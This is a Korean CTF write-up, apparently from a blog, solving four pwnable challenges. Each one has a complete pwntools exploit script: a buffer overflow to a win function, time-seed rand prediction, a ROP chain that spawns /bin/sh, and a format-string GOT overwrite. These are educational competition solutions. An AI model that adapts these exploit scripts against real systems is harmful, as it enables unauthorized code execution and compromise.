1. go2win
buffer overflow 문제.
static compile 되어있어서 gdb가 제대로 disassemble 하지 못하는 이상한 문제가 있었음.
(나중에 알고보니 golang이라 그런거였음.)
- ~ file go2win
go2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=48JPIwuiWHqAWxDMZivh/G6kBAN3TcK1YEUaef8ap/H_z3bCAF-A6sudbCtLHg/CWiJISSpnfio3_sfcTUd, not stripped
1번 문제이니 그냥 buffer overflow라고 가정하고, flag를 읽어주는 함수 주소를 찾아봤고,
gef➤ info function
File /home/ctf/hackappactf/main.go:
void main.init(void);
void main.main(void);
void main.win(void);
.....
gef➤ p &main.win
$1 = (void (*)(void)) 0x47f7a0 <main.win>
pie, canary가 걸려있지 않음을 확인한 뒤 해당 주소를 여러개 넣어줬다.
gef➤ checksec
[+] checksec for '/home/wyv3rn/go2win'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : ✘
from pwn import *
p = remote('92.246.89.201', 10003)
p.send(p64(0x47f7a0)*10)
p.interactive()
2. Pizza Spaghetti Espresso
time seed random base 문제.
from pwn import *
from ctypes import *
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
#p = process("./pse")
p = remote('92.246.89.201', 10001)
libc.srand(libc.time(0))
for i in range(10):
rd = libc.rand()%3
if rd == 2:
p.sendlineafter(b'>>' ,b'Pizza')
elif rd == 1:
p.sendlineafter(b'>> ',b'Spaghetti')
else:
p.sendlineafter(b'>> ',b'Espresso')
p.recvuntil(b'\n\n')
print(p.recvline())
p.interactive()
3. Go Sing a Rop
golang 분석이 어려웠다.
golang에 대해 조금 검색해보았는데, 컴파일 시 기본적인 exploit 기법들(overflow 등)은 어느정도 방지하도록 컴파일된다고 한다.
어쩐지 그냥 overflow 시키면 특정 함수들을 거쳐가며 오류 여부를 판단하더라...
그러므로 그 특정 함수들을 넘어간 뒤 main 함수의 ret address에 닿아야하는데, 이 또한 아무 값이나 넣으면 안된다.
예를 들어 어떤 함수는 값을 요구하고, 어떤 함수는 주소를 요구하기 때문이다.
그래서 대충 값을 넣어가며 억지로 오버플로우를 만들고 main 함수 seg. fault를 만든 다음 rop을 했다.
rop도 마음대로 잘 되지 않았다.
특히 retf 라는 어셈블리어는 그냥 ret을 하는게 아니라는 것을 알게됨.
더불어 리모트환경에서의 payload가 쓰여지는 위치와 로컬에서 위치가 달라서 이를 추가로 계산해주었다.
from pwn import *
#context.log_level='debug'
#p = process('./song')
p = remote('92.246.89.201', 10005)
rdiret = 0x00000000004708f1
rsiret = 0x00000000004072ce
rdxret = 0x000000000045998a
raxret = 0x00000000004016ea
syscall = 0x00000000004026da
pay1 = b'A'*8*100
pay2 = b'B'*8*13 + p64(0xc820034f90) + p64(0x10) + b'B'*8*10 + p64(0x5bf060) + p64(0x10) + b'C'*8*24
pay2 += p64(raxret) + p64(0x000000c000000000)
pay2 += p64(rdiret) + p64(0xc820034f92-2+8*2-0x1000) + p64(rsiret) + p64(0) + p64(raxret) + p64(0x3b) + p64(rdxret) + p64(0) + p64(syscall) + b'/bin/sh\0'
p.sendlineafter(b'>> ',pay1)
p.sendlineafter(b'>> ',pay2)
p.sendline(b'id')
p.interactive()
4. DolceVita Caffe
중간에 문제가 사라졌다 다시 나왔다.
단순 fsb 문제.
from pwn import *
#context.log_level='debug'
#p = process('./DolceVitaCaffePie')
p = remote('92.246.89.201', 10002)
p.sendlineafter(b': ',b'y')
p.recvuntil(b'.......................')
main = int(p.recvuntil(b'.')[:-1])
p.recvuntil(b'.......................')
p.recvuntil(b'.......................')
p.recvuntil(b'.......................')
puts = int(p.recvuntil(b'.')[:-1])
exit_got = main + 0x200d33
win = main - 0x2ab
p.sendlineafter(b': ',b'y')
p.sendlineafter(b': ',b'y')
context.arch='amd64'
pay = fmtstr_payload(10,{exit_got:win},0)
p.sendlineafter(b'> ',pay)
p.sendline(b'id')
p.interactive()
마치며
오랜만에 즐겨본 CTF 였다.
pwnable 분야에 위 4문제 외에 2문제 더 있었는데, 시간을 투자하면 풀 수 있을 것 같았지만...
왠지 흥미가 떨어져서 중도 포기함 ㅋ
'CTF > Solved' 카테고리의 다른 글
Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제 (0) | 2023.05.29 |
---|---|
TJCTF 2023 - pwn/formatter (0) | 2023.05.29 |
TJCTF 2023 - pwn/groppling-hook (0) | 2023.05.29 |
TJCTF 2023 - pwn/shelly (0) | 2023.05.29 |
TJCTF 2023 - pwn/flip-out (0) | 2023.05.29 |